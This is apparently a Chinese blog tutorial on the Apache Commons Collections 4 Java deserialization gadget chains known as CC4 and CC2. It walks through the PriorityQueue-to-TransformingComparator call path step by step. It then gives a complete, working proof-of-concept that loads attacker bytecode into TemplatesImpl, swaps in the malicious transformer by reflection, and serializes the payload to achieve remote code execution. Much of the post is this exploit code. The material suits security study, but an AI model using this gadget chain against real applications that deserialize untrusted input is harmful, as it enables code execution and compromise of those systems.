首页 > 编程语言 >Java反序列化(四)——CC4、CC2

Java反序列化(四)——CC4、CC2

时间:2024-08-15 13:23:33浏览次数:13  
标签:Java TransformingComparator CC4 org PriorityQueue import new 序列化 size

0 背景

白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)

实验环境

Java:1.8.0_65

IDEA:2022

commons-collecetions:4.0

        CommonsCollections4 除 4.0 其他版本的 InvokerTransformer和InstantiateTransformer没有实现 Serializable,导致该方法无法序列化。此外, CommonsCollections 4的版本 TransformingComparator 实现了 Serializable接口,但CommonsCollections 3里是没有实现。

1 CC4

        这里的重点还是在前半条链上。

PriorityQueue.readObject()
  PriorityQueue.heapify()
    PriorityQueue.sift()
      PriorityQueue.siftDownUsingComparator()
        TransformingComparator.compare()         
          ChainedTransformer.transform()

1.1 调用链分析

        这里注意别用错类,用了CC3的。

1.1.1 TransformingComparator.compare(obj1, obj2)调用了ChainedTransformer.transform(obj)

        TransformingComparator在4版本中实现Serializable接口,所以可以序列化。从这里看需要需要满足的条件为:TransformingComparator.transformer = ChainedTransformer实例。

        这里obj1和obj2有什么用呢?其实通过在这里传递参数,可以使得ChainedTransformer变成InvokerTransformer或InstantiateTransformer等,这里就是将Transform[] 变成 Transform,这里的作用其实是在shiro反序列化中体现。

        能不能将将Transform[] 变成 Transform取决与参数在传递的过程中是否连续,像CC1、CC3、CC6就不行。

1.1.2 PriorityQueue.siftDownUsingComparator(int k, E x)调用了TransformingComparator.compare(obj1, obj2)

        PriorityQueue实现Serializable接口。需要满足:PriorityQueue.comparator = TransformingComparator.

        并且如果泛型参数x会传进 obj1,也就是参数在这一步还连续。

1.1.3 PriorityQueue.siftDown(int k, E x)调用了PriorityQueue.siftDownUsingComparator(int k, E x)

        需要满足:PriorityQueue.comparator != null。

        其实满足1.1.2的条件这里也能满足。 此外,传入参数还可连续。

        

1.1.4 PriorityQueue.heapify()调用了PriorityQueue.siftDown(int k, E x)

        要想反序列化链条成功需要满足条件: (PriorityQueue.size >>> 1)  - 1 >=0

        也就是: PriorityQueue.size/2 -1 >=0

        即:PriorityQueue.size >= 2,PriorityQueue的序列长度要大于2。

        如果想要传入参数还连续的话,需要满足控制 queue[PriorityQueue.size/2 -1]。

1.1.5 PriorityQueue.readObject()调用了PriorityQueue.heapify()

        这里需要size不小于0,和1.1.4的size>=0一致的。

1.2 POC编写

1.2.1 把ChainedTransformer放入TransformingComparator中

        需满足条件TransformingComparator.transformer = ChainedTransformer实例。看TransformingComparator的构造方法,用第一个就可。

1.2.2 把TransformingComparator放入PriorityQueue中

        需要满足条件:PriorityQueue.comparator = TransformingComparator && PriorityQueue.size >= 2

        发现PriorityQueue的构造函数可以直接给comparator赋值,如果不能直接赋值,需要反射,或者利用提供的其他方法赋值。

        size的值没办法直接通过构造方法赋值,但可以通过add(e)方法。或者反射修改。PS:在1.1.4中说到想要传入参数连续,那就要控制queue的值,add(e)方法调用时,就会直接调用offer(e),改变size的同时,也给queue赋值,但这里先随便给queue赋值。

    public boolean add(E e) {
        return offer(e);
    }

    public boolean offer(E e) {
        if (e == null)
            throw new NullPointerException();
        modCount++;
        int i = size;
        if (i >= queue.length)
            grow(i + 1);
        size = i + 1;
        if (i == 0)
            queue[0] = e;
        else
            siftUp(i, e);
        return true;
    }

        代码如下:

1.2.3 序列化

        条件已满足,所以可以序列化前就弹窗,并且InstantiateTransformer执行transform会报错。

        修改也很简单,和之前CC6一样,先给个别的transformers,add后反射就该为调用链的transformers。

        修改后,反序列化成功弹窗,虽然报错,但已经rce。

1.2.4 最终POC

package CCTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        byte[] evil = Files.readAllBytes(Paths.get("CC3Calc.class"));
        byte[][] codes = {evil};
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c2 = transformingComparator.getClass();
        Field trans = c2.getDeclaredField("transformer");
        trans.setAccessible(true);
        trans.set(transformingComparator,chainedTransformer);

//        serialize(priorityQueue);
        unserilize("cc4-1.bin");

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4-1.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

1.3 CC2--- 另一种形式的CC4

        综合上述的分析,参数在传递过程中是没有中断的。两种CC3的形式,分别可以只用一个InvokerTransformer或TransformingComparator就完成。

2. 总结

        最近比较忙,CC5和CC7先不写了,写一篇大半天。

        引用我老学长John的图。

标签:Java,TransformingComparator,CC4,org,PriorityQueue,import,new,序列化,size
From: https://blog.csdn.net/Xzy03210321/article/details/141214593

相关文章

  • 最全Java面试题,共20万字,涵盖多家一线互联网公司面试真题,新鲜出炉!
    大家好,我是小林。我已经累计发布了100+多篇互联网中大后端开发的面经,涵盖腾讯、字节、阿里、美团、京东、快手、百度、滴滴、米哈游等互联网公司,也涵盖部分中小厂、银行、国企的面经。所有的面经都来自于同学们真实面试题库,并且我针对每一篇面经都做了解析。 我想着,既然......
  • java毕业设计-基于微信小程序的宠物服务中心平台系统,基于移动端的宠物中心系统,基于jav
    文章目录前言演示视频项目背景项目架构和内容获取(文末获取)具体实现截图用户前台管理后台技术栈具体功能模块设计系统需求分析可行性分析系统测试为什么我?关于我我自己的网站项目相关文件前言博主介绍:✌️码农一枚,专注于大学生项目实战开发、讲解和毕业......
  • java 截取电脑屏幕转为图片
    importjavax.imageio.ImageIO;importjava.awt.*;importjava.awt.image.BufferedImage;importjava.io.File;importjava.io.IOException;publicstaticvoidmain(String[]args){//创建JMapViewer实例//JMapViewermapViewer=newJMapViewer();......
  • 恶补基础知识:Java 栈与队列详解
    @目录前言简介栈Java实现栈的示例代码:栈的主要应用场景包括:队列Java实现队列的示例代码:LinkedList中的add方法和offer方法的区别队列主要应用场景:总结前言请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i、提示:以下是本篇文章正文内容,下面案例可供参考简介使用Java实......
  • Java计算机毕业设计的体育用品交易平台(开题+源码+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着全球体育产业的蓬勃发展,体育爱好者对高品质、多样化的体育用品需求日益增长。然而,传统体育用品销售模式受限于地域、渠道及信息不对称等问题,难以......
  • Java计算机毕业设计的戏曲文化博物馆(开题+源码+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景在中华文化的浩瀚星空中,戏曲艺术犹如一颗璀璨的明珠,承载着千年的历史记忆与民族情感。从元代的杂剧到明清的传奇,再到近现代的地方戏曲,戏曲文化不仅丰......
  • Java计算机毕业设计的网上二手书销售系统(开题+源码+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着数字化时代的到来,纸质书籍虽然面临着电子阅读的挑战,但其独特的阅读体验和收藏价值依然深受广大读者喜爱。然而,实体书店的运营成本上升与读者购书......
  • Java基础-学习笔记12
    12异常异常Java语言中,将程序执行中发生的不正常情况称为“异常”。(开发过程中的语法错误和逻辑错误不是异常)执行过程中所发生的异常时间可分为两大类1)Error(错误):Java虚拟机无法解决的严重问题。如:JVM系统内部错误、资源耗尽等严重情况。比如:StackOverflowError(栈溢出)和OOM(ou......
  • java使用动态链接库读取Fanuc设备,在linux环境部署时报错:FOCAS2 log file is not found
    在linux环境中,使用java调用动态链接库的方式读取Fanuc,报错“FOCAS2logfileisnotfound”解决办法linux环境使用cnc_allclibhndl3之前,需要先使用cnc_startupprocess启用并指定日志文件,否则会报错:"FOCAS2logfileisnotfound"。会包含cnc_startupprocess,windows的dll库......
  • 使用 JavaScript 进行线性搜索
    一.介绍线性搜索,也称为顺序搜索,是一种用于在列表中查找特定值的简单搜索算法。它的工作原理是逐个检查列表中的每个元素,直到找到所需的值或到达列表的末尾。以下是线性搜索如何工作的逐步描述。**从头开始:**从列表的第一个元素开始。**比较各个元素:**将当前元素与目标值......